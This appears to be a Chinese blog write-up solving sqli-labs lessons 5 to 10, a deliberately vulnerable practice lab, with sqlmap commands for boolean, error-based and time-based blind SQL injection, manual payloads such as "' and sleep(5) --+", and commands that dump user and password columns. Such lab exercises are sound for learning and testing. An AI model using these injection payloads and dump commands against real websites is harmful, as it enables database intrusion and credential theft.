sqlmap注入教程:https://www.cnblogs.com/ichunqiu/p/5805108.html

前五关直接可以用默认的sqlmap语法跑:

python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db)
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dumps

0x00 主要使用的语句

1:用于验证时间延迟型的盲注:?id=1’ and sleep(5) --+

2.用于判断布尔型盲注:?id=1’ and 1=1 --+ , ?id=1‘ and 2=1 --

sqlmap主要使用的语句:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --dbs --batch -v 0
或者
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch

其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入

B:Boolean-based-blind  (布尔型盲注)

E:Error-based   (报错型注入)

U:Union query-based  (联合注入)

S:Starked queries   (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind  (基于时间延迟注入)

我们可以根据不同的报错提示更改—technique后面的字母

—dbms : 不仅可以指定数据库类型,还可以指定数据库版本

--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

-v 0参数只是为了更好的截图.

0x02 sqli-labs less-5、6

手工发现只能用报错注入,5关是单引号闭合,6关是双引号闭合

那么sqlmap语句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch

成功爆出数据库

0x03 sqli-labs less-7

这道题手工的话意思是叫我们用sql的写入命令:into outfile

正确回显一串不变的字符串,错误不报错误信息,因此可以用sqlmap跑盲注

语句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" --technique B --current-db --batch

0x04 sqli-labs less-8

错误不回显报错信息,正确只回显一个固定的字符串,同样是一个布尔型盲注

跟第七关的payload一样:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch

0x05 sqli-labs less-9、10

不管怎么样都不报错,也没有回显区别,不管对错一直显示一个固定的页面;

那么我们只有试着闭合,然后用测试语句“and sleep(5)”试一下,如果没猜出来闭合规则,那么我们直接放在sqlmap里面跑时间盲注;

这里用了闭合规则‘--+,里面跟and sleep(5)发现延时5秒,那么确定是时间盲注了。

sqlmap语句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T --current-db --batch

第十关就是闭合规则是双引号而已,其他的一样

sqli-labs5-10(全程sqlmap)的更多相关文章

  1. SQLMap使用总结

    支持模式:布尔/时间/报错/联合查询/堆查询 支持数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM ...

  2. sqlmap注入基本教程

    附上一个别人总结的:https://www.cnblogs.com/ichunqiu/p/5805108.html 一套基础的sqlmap语句: python sqlmap.py -u "h ...

  3. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  4. 南邮CTF - Writeup

    南邮CTF攻防平台Writeup By:Mirror王宇阳 个人QQ欢迎交流:2821319009 技术水平有限~大佬勿喷 ^_^ Web题 签到题: 直接一梭哈-- md5 collision: 题 ...

  5. sql注入漏洞笔记随笔

    sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入) 在了解sql注入之前,我们需要先了解web框架 webapp:web网站,这种方式它采用的是B/S架构 ...

  6. 用事实说话,成熟的ORM性能不是瓶颈,灵活性不是问题:EF5.0、PDF.NET5.0、Dapper原理分析与测试手记

    [本文篇幅较长,可以通过目录查看您感兴趣的内容,或者下载格式良好的PDF版本文件查看] 目录 一.ORM的"三国志"    2 1,PDF.NET诞生历程    2 2,Linq2 ...

  7. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  8. 工具推荐:ATSCAN,功能强大的Perl脚本扫描器

    工具推荐:ATSCAN,功能强大的Perl脚本扫描器 使用perl语言编写的开源的扫描器,功能丰富强大,除了基本的tcp和udp端口扫描之外,还可以搜索wordpress.joomla等网站并进行口令 ...

  9. Java回顾之ORM框架

    这篇文章里,我们主要讨论ORM框架,以及在使用上和JDBC的区别. 概述 ORM框架不是一个新话题,它已经流传了很多年.它的优点在于提供了概念性的.易于理解的数据模型,将数据库中的表和内存中的对象建立 ...

随机推荐

  1. 数据库连接池 —— Druid的简单使用

    Druid不仅是一个数据库连接池,还包含一个ProxyDriver.一系列内置的JDBC组件库.一个SQL Parser.支持所有JDBC兼容的数据库,包括Oracle.MySql.Derby.Pos ...

  2. Hapi+MySql项目实战路由初始化(二)

    配置路由规则 将路由文件放在routes文件夹里,修改‘Server.js’文件,增加如下代码: 我们这里指明了require('./routes') routes文件夹,require可以文件但是不 ...

  3. css浮动(float)详解

    一.什么是浮动? 浮动,顾名思义,就是漂浮的意思.指的是一个元素脱离文档流,悬浮在父元素之上的现象. 二.如何产生浮动? 给元素本身添加float属性 float值: left 元素向左浮动. rig ...

  4. Apache httpd.conf配置文件 3(虚拟主机)

    ### Section 3: Virtual Hosts 第三部分 虚拟主机 注意:在使用虚拟主机前,请先检查  http.conf 的 辅助配置文件httpd-vhosts.conf 是否注释 # ...

  5. Linux的那些事-系统启动(增加开机启动项)

    1   /etc/init.d 2   /etc/inittab 3   /etc/rc.d/init.d  1.   /etc/init.d 是一般开机的启动服务存放在这个目录下,至于实现机制,其实 ...

  6. AJAX传输图片文件

    AJAX传输 例:const xhr = new XMLHttpRequest(); // 此方法因为状态改变被调用多次,实测执行三次(1->2->4) xhr.onreadystatec ...

  7. H5谷歌登录 webview错误

    接入谷歌登录 H5接入谷歌登录打包apk使用webview谷歌登录不上(谷歌不支持用户代理被归类为嵌入式用户代理(也称为网络视图),因此不允许向Google发出OAuth授权请求) 解决办法:替换ua ...

  8. 解释为什么wait()和notify(), notifyAll()要放在同步块中

    首先,wait()是释放锁的,因此wait()之前要先获得锁,而锁在同步块开始的时候获得,结束时释放,即同步块内为持有锁的阶段. 那为什么要设计同步块呢?或者说没有同步块会怎样呢?

  9. C# 多线程的阻塞和继续-ManaulResetEvent的使用

    在工作中,会遇到需要多线程处理相应的业务需求,最典型的包括Socket的通信. 多线程处理里,就会考虑到,哪个线程先运行,哪个线程后运行的情况. 这里我介绍一下,使用ManualResetEvent类 ...

  10. WebStorm新建JS文件、CSS文件时自动生成文件注释

    WebStorm 是jetbrains公司旗下一款优秀的前端开发工具.随着现在大型项目模块越来越多,参与人员也越来越多,实际项目中经常需要明确文件用途和文件的归属,所以创建文件时添加文件注释是一种必要 ...